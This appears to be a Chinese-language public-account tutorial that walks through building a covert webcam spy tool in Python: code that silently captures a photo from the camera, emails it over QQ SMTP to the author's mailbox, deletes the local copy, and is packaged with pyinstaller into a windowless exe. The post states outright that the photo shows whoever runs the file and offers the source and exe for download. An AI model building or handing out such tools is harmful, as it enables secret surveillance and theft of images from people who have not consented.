一、思路
1.python調用攝像頭拍照
python可以調用電腦的攝像頭進行拍照,然后保存照片。
2.發送照片到指定郵箱
通過QQ郵箱官方網站獲取授權碼方法,將照片發送到指定的郵箱。最后將本地的照片刪除。
3.python程序打包成exe可執行文件
借助pyinstaller庫,py打包成exe,這樣就可以在沒有python環境的pc機上執行程序。
二、代碼
1.python調用攝像頭拍照
所需庫
import os
# 刪除圖片文件
import cv2
# 調用攝像頭拍攝照片
代碼
# 調用攝像頭拍攝照片
def get_photo():
# 開啟攝像頭
cap = cv2.VideoCapture(0)
# 將攝像頭中的一幀圖片數據保存
f, frame = cap.read()
# 將圖片保存為本地文件
cv2.imwrite('image.jpg', frame)
# 關閉攝像頭
cap.release()
通過get_photo函數可以實現調用攝像頭拍照,並保存照片為image.jpg
2.發送照片到指定郵箱
獲取郵箱授權碼
步驟一:登錄郵箱->設置->賬戶
步驟二:找到【POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服務】,先開啟,再點擊【生成授權碼】,如下圖所示
步驟三:生成的結果如下:
所需庫
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
代碼
# 把圖片文件發送到我的郵箱
def send():
sender = '發件人郵箱'
receivers = '收件人郵箱'
message = MIMEMultipart('related')
subject = '公眾號:Python爬蟲數據分析挖掘'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
message.attach(content)
file=open("image.jpg", "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"發件人的郵箱授權碼")
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("郵件發送成功")
except smtplib.SMTPException as e:
print(e)
這里響應填寫三部分內容:1、發件人郵箱,2、收件人郵箱,3、發件人的郵箱授權碼
發送照片到郵箱之后,刪除本地image.jpg
os.remove('image.jpg') #刪除本地照片
3.python程序打包成exe可執行文件
所需庫
pyinstaller
3.1、安裝pyinstaller
###方法一
pip install pyinstaller
###方法二
pip install -i https://pypi.doubanio.com/simple/ pyinstaller
如果覺得方法一安裝慢,可以選擇方法二。
3.2、打包exe程序
打開DOS窗口,輸入命令:
pyinstaller -F -w *.py(星號是.py的全部路徑)
pyinstaller -F -w C:\Users\Administrator\Desktop\0110\main.py
出現這個圖,表示打包成功,打包好的exe文件存放在紅框顯示的路徑中
這樣我們的main.py程序就已經成功打包成exe可執行文件了。
三、效果演示
雙擊打開main.exe文件
程序運行后就自動退出,這樣我們的郵箱就收到了照片(這個照片是當前打開這個exe文件人的真實照片)
這里就直接戴口罩去測試程序了(不好意思露面,哈哈哈)
可以看到我們的郵箱就收到了這一張圖片,是不是覺得很神奇
四、結尾
以上就是python竊取攝像頭照片(攝像頭拍照+郵箱發送+打包exe)的全部內容,完整源碼和main.exe這兩個文件已經上傳到公眾號,需要的小伙伴可以去領取。
【本文完整源碼獲取方式】
公眾號回復:攝像頭拍照
------------------- End -------------------
【加群獲取學習資料】
公眾號回復:人群
歡迎大家點贊,留言,轉發,轉載,感謝大家的相伴與支持
想加入Python學習群請在后台回復【入群】
萬水千山總是情,點個【在看】行不行
【加群獲取學習資料QQ群:901381280】
【各種爬蟲源碼獲取方式】
識別文末二維碼,回復:爬蟲源碼
歡迎關注公眾號:Python爬蟲數據分析挖掘,方便及時閱讀最新文章
回復【開源源碼】免費獲取更多開源項目源碼